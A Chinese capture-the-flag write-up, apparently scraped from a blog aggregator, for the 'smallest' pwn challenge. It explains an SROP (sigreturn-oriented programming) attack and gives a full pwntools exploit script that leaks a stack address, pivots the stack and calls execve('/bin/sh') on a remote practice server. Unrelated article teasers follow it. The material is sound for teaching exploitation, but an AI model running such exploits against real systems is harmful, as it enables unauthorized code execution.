360chunqiu2017_smallest

news/2024/11/7 7:37:01/

360chunqiu2017_smallest

查看保护
在这里插入图片描述
在这里插入图片描述
程序只给了这一点点东西,read(0, rsp, 0x400)
这里的read肯定是有栈溢出的,从rsp这里读所以输入第一个数据的时候就会破坏结构发生错误
攻击思路:想办法去控制rax,因为控制了rax我们就可以调用一些系统调用,例如:sigretrun和write。rax被read所控制(字符的个数),所以我们可以通过sys_read来输入多少个数据就可以设置rax为多少。利用这个特性我们就可以实现栈迁移和getshell的操作。
1.这里笔者使用的是srop攻击,运用sigretrun机制来使得rdi,rsi等值可以被我们控制。
2.首先可以借助wirte来输出栈地址以便我们后续进行写入bin/sh和栈迁移的操作

p1 = p64(main_addr) * 3
r.send(p1)
r.send('\xb3')

r.send(‘\xb3’)是为了让rax = 1,并使得第二次程序从4000b3这里开始执行,因我们需要绕过xor rax, rax来执行write(1, rsp, 0x400)
3.拿到stack_addr。拿哪个地址?这里笔者在本地可以是0x8 - 0x10,打远程的时候打不通,然后笔者试了很多发现0x188 - 0x190可以
4.布置sigframe,再设置一次read,并劫持栈指针到stack_addr处实现栈迁移
5.想要执行sigreturn rax需要为15,所以我们发送15个数据让rax被设置为15
6.完成栈迁移之后我们就可以布置execve并输入bin/sh来getshell。
注意:这里笔者srop写得很简略,想要彻底了解srop可以去看看srop原理(看看其他师傅的博客),还可以使用其他攻击方式比如说利用修改权限的函数将一块地方改成可读写执行,然后放入shellcode并跳转执行shellcode。

from pwn import *
from time import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')debug = 1
if debug:r = remote('node4.buuoj.cn', 26520)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r, 'b *0x4000C0')main_addr = 0x4000B0
mov_edx_400 = 0x4000B0p1 = p64(main_addr) * 3
r.send(p1)
r.send('\xb3')#stack_addr = u64(r.recv()[0x8:0x10])
stack_addr = u64(r.recv()[0x188:0x190])
li('[+] stack_addr = ' + hex(stack_addr))# sys_read
syscall = 0x4000BE 
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscallp2 = p64(main_addr) + p64(0) + bytes(sigframe)
r.send(p2)# set rax = 15
p3 = p64(syscall) + b'a'*7
r.send(p3)
sleep(1)# sys_execve
sigframe = SigreturnFrame()                                                        
sigframe.rax = 59
sigframe.rsp = stack_addr                                                          
sigframe.rsi = 0                                                                   
sigframe.rdx = 0                                                                   
sigframe.rdi = stack_addr + 0x200                                                  
sigframe.rip = syscall                                                         
p4 = (p64(main_addr) + p64(0) + bytes(sigframe)).ljust(0x200, b'a') + b"/bin/sh\x00"r.send(p4)                                                                   
sleep(1)                                                                         # set rax = 15
r.send(p3)r.interactive()

http://www.ppmy.cn/news/681676.html

相关文章

如何将采购报价请求流程自动化?

在当今快节奏的商业环境中,效率和速度是保持竞争力的关键。在采购管理中,企业经常为简化操作而努力的一个领域是报价请求过程。手动处理请求、与供应商沟通并跟踪答复,可能非常耗时且容易出错。 然而,随着像8Manage SRM等专业电子…

【数学建模】国赛真题分析 2014A题 嫦娥三号软着陆轨道设计与控制策略

2014A题 嫦娥三号软着陆轨道设计与控制策略 优秀论文合集: 链接:https://pan.baidu.com/s/1NtSBfE-jCXXpwhLOX1InXQ?pwduon1 提取码:uon1 –来自百度网盘超级会员V6的分享 题目下载地址 http://www.mcm.edu.cn/html_cn/node/93b5f5d998669…

国际现货黄金开户需要领赠金吗

随着现货黄金白银市场行情的逐渐走高,人们的理财热情也随之上升,越来越多交易者参与进来,成为了金银理财大军中的一员,而提供现货黄金白银交易服务的平台数量也逐渐增减。这些平台为了吸引更多的客户选择,往往会将提供…

如何辨别外盘期货盘真假

相信很多做过期货交易或者想做期货交易的朋友,都有过一个疑问,如何辨别“期货平台的真假”。所谓的真盘、假盘,是如何界定的,又各自有什么优缺点呢? 我一毕业就进入了这个行业,从一开始的写程序软件、技术运…

Notes Ninth Day-渗透攻击-红队-打入内网

** Notes Ninth Day-渗透攻击-红队-打入内网(dayu) ** 作者:大余 时间:2020-09-25 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技…

云调用,小程序鉴权正确姿势

目录:一、无处不在的鉴权1. 现实生活中的身份鉴权方法2. 简单的密码鉴权体系二、鉴权优化1. 频繁的鉴权场景下的优化方案2. 第三方鉴权体现下的设计——oAuth 2.0鉴权体系三、说了这么多广而全的鉴权方式,我们看看小程序开发中的鉴权是如何实现的1. 小程…

C什么k什么_什么是K金?

大家好呀,我是简简。 平时大家在选购珠宝的时候,相信都会看到“K金”、“18K金”、“14K金”等字眼,甚至还会犯迷糊,不知道其中的区别究竟在哪里。 所以今天这一期,咱们就来说说K金。 NO.01 | 什么是K金 K金&#xff0…

数字人民币的基础:共识与信任

货币的基础是共识和信任,二者不由货币的载体决定,背后的制度安排和基础设施更重要。数字货币们关注的是技术如何解决了点对点支付,即技术本身的特点和优势,并没有顾及货币的各类功能以及相关的制度安排和基础设施建设。 事实上&a…